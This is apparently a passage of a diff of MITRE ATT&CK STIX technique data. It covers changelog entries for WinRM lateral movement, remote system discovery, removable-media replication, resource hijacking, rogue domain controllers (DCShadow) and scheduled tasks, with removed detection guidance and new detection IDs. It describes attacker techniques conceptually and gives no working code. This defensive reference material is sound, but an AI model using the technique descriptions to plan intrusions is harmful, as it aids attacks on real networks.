"M1037: Filter Network Traffic", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0178: Behavioral Detection of Unauthorized VNC Remote Control Sessions" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:29:47.757000+00:00", + "modified": "2025-10-24 17:48:51+00:00", + "name": "Windows Remote Management", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021/006", + "external_id": "T1021.006" + }, + { + "source_name": "Medium Detecting Lateral Movement", + "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc" + }, + { + "source_name": "Jacobsen 2014", + "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.", + "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" + }, + { + "source_name": "MSDN WMI", + "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" + }, + { + "source_name": "Microsoft WinRM", + "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/winrm/portal" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Connection Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:51+00:00\", \"old_value\": \"2025-04-15 23:22:03.699000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0477: Behavioral Detection of WinRM-Based Remote Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:28.187000+00:00", + "modified": "2025-10-24 17:49:31.319000+00:00", + "name": "Remote System Discovery", + "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097), net view using [Net](https://attack.mitre.org/software/S0039), or, on ESXi servers, `esxcli network diag ping`.\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1018", + "external_id": "T1018" + }, + { + "source_name": "CISA AR21-126A FIVEHANDS May 2021", + "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.", + "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + }, + { + "source_name": "US-CERT-TA18-106A", + "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniel Stepanic, Elastic", + "RedHuntLabs, @redhuntlabs", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "3.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\", \"Network Traffic: Network Connection Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.319000+00:00\", \"old_value\": \"2025-04-15 19:59:15.859000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nMonitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\"}}}", + "previous_version": "3.6", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0029: Network Traffic (Network Connection Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0574: Detection Strategy for Remote System Enumeration Behavior" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:08.977000+00:00", + "modified": "2025-10-24 17:48:40.752000+00:00", + "name": "Replication Through Removable Media", + "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.\n\nMobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1091", + "external_id": "T1091" + }, + { + "source_name": "Windows Malware Infecting Android", + "description": "Lucian Constantin. (2014, January 23). Windows malware tries to infect Android devices connected to PCs. Retrieved May 25, 2022.", + "url": "https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html" + }, + { + "source_name": "iPhone Charging Cable Hack", + "description": "Zack Whittaker. (2019, August 12). This hacker\u2019s iPhone charging cable can hijack your computer. Retrieved May 25, 2022.", + "url": "https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/" + }, + { + "source_name": "Exploiting Smartphone USB ", + "description": "Zhaohui Wang & Angelos Stavrou. (n.d.). Exploiting Smart-Phone USB Connectivity For Fun And Profit. Retrieved May 25, 2022.", + "url": "https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Joas Antonio dos Santos, @C0d3Cr4zy" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Process: Process Creation\", \"Drive: Drive Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:40.752000+00:00\", \"old_value\": \"2025-04-15 19:58:24.231000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1034: Limit Hardware Installation", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0016: Drive (Drive Creation)", + "DS0022: File (File Access)", + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0301: Removable Media Execution Chain Detection via File and Process Activity" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17 14:50:05.682000+00:00", + "modified": "2025-10-24 17:49:24.276000+00:00", + "name": "Resource Hijacking", + "description": "Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nResource hijacking may take a number of different forms. For example, adversaries may:\n\n* Leverage compute resources in order to mine cryptocurrency\n* Sell network bandwidth to proxy networks\n* Generate SMS traffic for profit\n* Abuse cloud-based messaging services to send large quantities of spam messages\n\nIn some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1496", + "external_id": "T1496" + }, + { + "source_name": "Sysdig Cryptojacking Proxyjacking 2023", + "description": "Miguel Hernandez. (2023, August 17). LABRAT: Stealthy Cryptojacking and Proxyjacking Campaign Targeting GitLab . Retrieved September 25, 2024.", + "url": "https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Jay Chen, Palo Alto Networks", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team", + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers", + "SaaS" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Cloud Service: Cloud Service Modification\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\", \"Sensor Health: Host Status\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:24.276000+00:00\", \"old_value\": \"2025-04-15 23:00:21.372000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0013: Sensor Health (Host Status)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0025: Cloud Service (Cloud Service Modification)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0267: Resource Hijacking Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:48:48.823000+00:00", + "name": "Rogue Domain Controller", + "description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1207", + "external_id": "T1207" + }, + { + "source_name": "DCShadow Blog", + "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.", + "url": "https://www.dcshadow.com/" + }, + { + "source_name": "Adsecurity Mimikatz Guide", + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "source_name": "GitHub DCSYNCMonitor", + "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.", + "url": "https://github.com/shellster/DCSYNCMonitor" + }, + { + "source_name": "Microsoft DirSync", + "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.", + "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx" + }, + { + "source_name": "ADDSecurity DCShadow Feb 2018", + "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.", + "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"Network Traffic: Network Traffic Content\", \"User Account: User Account Authentication\", \"Active Directory: Active Directory Object Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.823000+00:00\", \"old_value\": \"2025-04-25 15:15:34.258000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\\n\\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\\n\\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\\n\\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \\u201cGC/\\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\\u20134B06\\u201311D1-AB04\\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\\n-\\n-Leverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\\n-\\n-Baseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\\n-\\n-Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \\u201cGC/\\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\\u20134B06\\u201311D1-AB04\\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0026: Active Directory (Active Directory Object Creation)", + "DS0026: Active Directory (Active Directory Object Modification)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0276: Detection Strategy for Rogue Domain Controller (DCShadow) Registration and Replication Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:46.977000+00:00", + "modified": "2025-10-24 17:48:38.539000+00:00", + "name": "Scheduled Task/Job", + "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1053", + "external_id": "T1053" + }, + { + "source_name": "ProofPoint Serpent", + "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022.", + "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + }, + { + "source_name": "TechNet Task Scheduler Security", + "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Prashant Verma, Paladion", + "Leo Loobeek, @leoloobeek", + "Travis Smith, Tripwire", + "Alain Homewood, Insomnia Security", + "Andrew Northern, @ex_raritas", + "Bryan Campbell, @bry_campbell", + "Zachary Abzug, @ZackDoesML", + "Selena Larson, @selenalarson" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Containers", + "ESXi" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "2.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Scheduled Job: Scheduled Job Creation\", \"File: File Creation\", \"Process: Process Creation\", \"Container: Container Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.539000+00:00\", \"old_value\": \"2025-04-15 21:41:11.473000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n\\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \\n-\\n-Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}", + "previous_version": "2.4", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0003: Scheduled Job (Scheduled Job Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0032: Container (Container Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0094: Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-11-27 13:52:45.853000+00:00", + "modified": "2025-10-24 17:49:36.495000+00:00", + "name": "At", + "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If 